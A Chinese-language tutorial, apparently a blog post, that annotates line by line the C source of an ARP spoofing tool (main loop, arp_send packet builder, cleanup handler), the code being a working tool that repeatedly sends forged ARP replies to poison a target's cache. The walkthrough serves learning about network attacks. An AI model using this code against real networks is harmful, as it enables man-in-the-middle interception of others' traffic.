從main函數開始
首先大家不要慌,我加了無數注釋,這個工具的代碼也不過400行而已。首先我們看一下main函數:
為了避免大家看起來太緊張,我在源碼的注釋中加了詳細的講解,方便基礎薄弱的同學理解:
1 int main(int argc, char *argv[]) 2 { 3 int c; 4 char ebuf[PCAP_ERRBUF_SIZE]; 5 intf = NULL; 6 spoof_ip = target_ip = 0; 7 8 /** 9 關於getopt這個函數我想做如下解釋大家就可以讀懂下面的函數的具體意思了: 10 1.getopt的用途:用於專門處理函數參數的。 11 2.getopt的用法:argc與argv直接是從main的參數中拿下來的,第三個參數描述了整個程序參數的命令要求 12 具體的用法我們可以先理解為要求i,t這兩個參數必須有值 13 然后有具體值得參數會把值付給全局變量optarg,這樣我們就能理解下面的while循環中的操作了 14 */ 15 while ((c = getopt(argc, argv, "i:t:h?V")) != -1) { 16 17 switch (c) { 18 19 case 'i': 20 intf = optarg; 21 break; 22 case 't': 23 /* 24 libnet_name_resolve是解析域名,然后把域名解析的結果形成ip地址返回到target_ip 25 */ 26 if ((target_ip = libnet_name_resolve(optarg, 1)) == -1) 27 usage(); 28 break; 29 default: 30 usage(); 31 32 } 33 34 } 35 36 argc -= optind; 37 argv += optind; 38 39 if (argc != 1) 40 usage(); 41 42 if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1) 43 usage(); 44 45 /* 46 pcap_lookupdev 顧名思義這個pcap庫中的函數是用來尋找本機的可用網絡設備。 47 下面的if語句是將如果intf(-i的參數為空就調用pcap_lookupdev來尋找本機的網絡設備) 48 ebuf就是error_buf用來存儲錯誤信息 49 */ 50 if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL) 51 errx(1, "%s", ebuf); 52 53 /* 54 libnet_open_link_interface這個函數存在於libnet庫中,作用是打開intf指向的網絡鏈路設備 55 錯誤信息存入ebuf中。 56 */ 57 if ((llif = libnet_open_link_interface(intf, ebuf)) == 0) 58 errx(1, "%s", ebuf); 59 60 /* 61 下面語句的意思是如果target_ip為0或者是arp_find沒有成功找到target_ip 62 那么提示錯誤 63 */ 64 if (target_ip != 0 && !arp_find(target_ip, &target_mac)) 65 errx(1, "couldn't arp for host %s", 66 libnet_host_lookup(target_ip, 0)); 67 68 //這里關於信號的處理問題如果大家不是太清楚的話也可以跳過, 69 //有興趣的朋友,可以深入了解一下,因為這里不是本文重點,就不再贅述了 70 signal(SIGHUP, cleanup); 71 signal(SIGINT, cleanup); 72 signal(SIGTERM, cleanup); 73 74 for (;;) { 75 /* 76 在這個for的循環里我們看到了我們希望看到的核心模塊 77 arp_send大家一看這個函數便知道這個函數是用來發送偽造的arp數據包的,關於這個函數具體的用法我們稍后將會討論 78 */ 79 arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip, 80 (target_ip ? (u_char *)&target_mac : NULL), 81 target_ip); 82 sleep(2); 83 84 } 85 /* NOTREACHED */ 86 87 exit(0); 88 89 }
看了main函數里面的各種東西,我們發現並沒有什么玄機,其實就是很簡單的編程,具體的函數講解都在注釋中寫出來了。
核心函數的登場
接下來我們就看一下他是如何實現發送arp包的,其實知道大家看了源代碼以后就知道,這真的沒有什么技術含量
1 /** 2 這里是我們發送arp包的核心實現 3 我先來介紹一下這個函數的參數方便大家理解 4 參數一:libnet鏈路層接口,通過這個接口可以操作鏈路層 5 參數二:本機的網卡設備intf(由-i指定或者pcap_lookupdev來獲取) 6 參數三:arpop,來指定arp包的操作 7 參數四:本機硬件地址 8 參數五:本機ip 9 參數六:目標硬件地址 10 參數七:目標ip 11 */ 12 int arp_send(struct libnet_link_int *llif, char *dev, 13 int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa) 14 { 15 16 char ebuf[128]; 17 u_char pkt[60]; 18 19 /* 20 這里來通過鏈路層和網卡來獲取dev對應的mac地址*/ 21 if (sha == NULL && 22 (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) { 23 24 return (-1); 25 26 } 27 /* 28 這里通過鏈路層和網卡來獲取dev對應的ip地址 29 */ 30 31 if (spa == 0) { 32 33 if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0) 34 return (-1); 35 spa = htonl(spa); /* XXX */ 36 37 } 38 39 /* 40 如果目標mac沒有的話就被賦值為\xff\xff\xff\xff\xff\xff 41 */ 42 if (tha == NULL) 43 tha = "\xff\xff\xff\xff\xff\xff"; 44 45 /* 46 libnet_ptag_t libnet_build_ethernet( 47 u_int8_t*dst, u_int8_t *src, 48 u_int16_ttype, u_int8_t*payload, 49 u_int32_tpayload_s, libnet_t*l, 50 libnet_ptag_t ptag ) 51 功能: 52 構造一個以太網數據包 53 參數: 54 dst:目的 mac 55 src:源 mac 56 type:上層協議類型 57 payload:負載,即附帶的數據,可設置為 NULL(這里通常寫 NULL) 58 payload_s:負載長度,或為 0(這里通常寫 0 ) 59 l:libnet 句柄,libnet_init() 返回的 libnet * 指針 60 ptag:協議標記,第一次組新的發送包時,這里寫 0,同一個應用程序,下一次再組包時,這個位置的值寫此函數的返回值。 61 返回值: 62 成功:協議標記 63 失敗:-1 64 */ 65 libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt); 66 /* 67 libnet_ptag_t libnet_build_arp( 68 u_int16_t hrd, u_int16_t pro, 69 u_int8_t hln, u_int8_t pln, 70 u_int16_t op, u_int8_t *sha, 71 u_int8_t *spa, u_int8_t *tha, 72 u_int8_t *tpa, u_int8_t *payload, 73 u_int32_t payload_s, libnet_t *l, 74 libnet_ptag_t ptag ) 75 功能: 76 構造 arp 數據包 77 參數: 78 hrd:硬件地址格式,ARPHRD_ETHER(以太網) 79 pro:協議地址格式,ETHERTYPE_IP( IP協議) 80 hln:硬件地址長度 81 pln:協議地址長度 82 op:ARP協議操作類型(1:ARP請求,2:ARP回應,3:RARP請求,4:RARP回應) 83 sha:發送者硬件地址 84 spa:發送者協議地址 85 tha:目標硬件地址 86 tpa:目標協議地址 87 payload:負載,可設置為 NULL(這里通常寫 NULL) 88 payload_s:負載長度,或為 0(這里通常寫 0 ) 89 l:libnet 句柄,libnet_init() 返回的 libnet * 指針 90 ptag:協議標記,第一次組新的發送包時,這里寫 0,同一個應用程序,下一次再組包時,這個位置的值寫此函數的返回值。 91 返回值: 92 成功:協議標記 93 失敗:-1 94 */ 95 libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, 96 op, sha, (u_char *)&spa, tha, (u_char *)&tpa, 97 NULL, 0, pkt + ETH_H); 98 99 fprintf(stderr, "%s ", 100 ether_ntoa((struct ether_addr *)sha)); 101 102 103 104 /* 105 下面的if和else是回顯處理(也就是大家能看到的部分 106 */ 107 if (op == ARPOP_REQUEST) { 108 109 fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n", 110 ether_ntoa((struct ether_addr *)tha), 111 libnet_host_lookup(tpa, 0), 112 libnet_host_lookup(spa, 0)); 113 114 } 115 else { 116 117 fprintf(stderr, "%s 0806 42: arp reply %s is-at ", 118 ether_ntoa((struct ether_addr *)tha), 119 libnet_host_lookup(spa, 0)); 120 fprintf(stderr, "%s\n", 121 ether_ntoa((struct ether_addr *)sha)); 122 123 } 124 return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt)); 125 126 }
小尾巴
1 /* 2 下面我們發現掛載信號處理函數的都是cleanup函數, 3 這個函數很好理解,就是在本機網絡設備存在的條件下把包再發三遍, 4 5 但是為什么要這么做呢?似乎立即中斷也沒什么不合理, 6 我想作者的意思就是總要給一個緩沖的時間啊 7 8 我們再仔細觀察一下,在main的主循環中是sleep(2) 9 在下面的循環中是sleep(1) 10 11 */ 12 void cleanup(int sig) 13 { 14 15 int i; 16 17 if (arp_find(spoof_ip, &spoof_mac)) { 18 19 for (i = 0; i < 3; i++) { 20 21 /* XXX - on BSD, requires ETHERSPOOF kernel. */ 22 23 /*上面這條注釋是源碼的作者加的,意思是說在BSD系統中需要ETHERSPOOF的第三方內核模塊*/ 24 arp_send(llif, intf, ARPOP_REPLY, 25 (u_char *)&spoof_mac, spoof_ip, 26 (target_ip ? (u_char *)&target_mac : NULL), 27 target_ip); 28 sleep(1); 29 30 } 31 32 } 33 exit(0); 34 35 }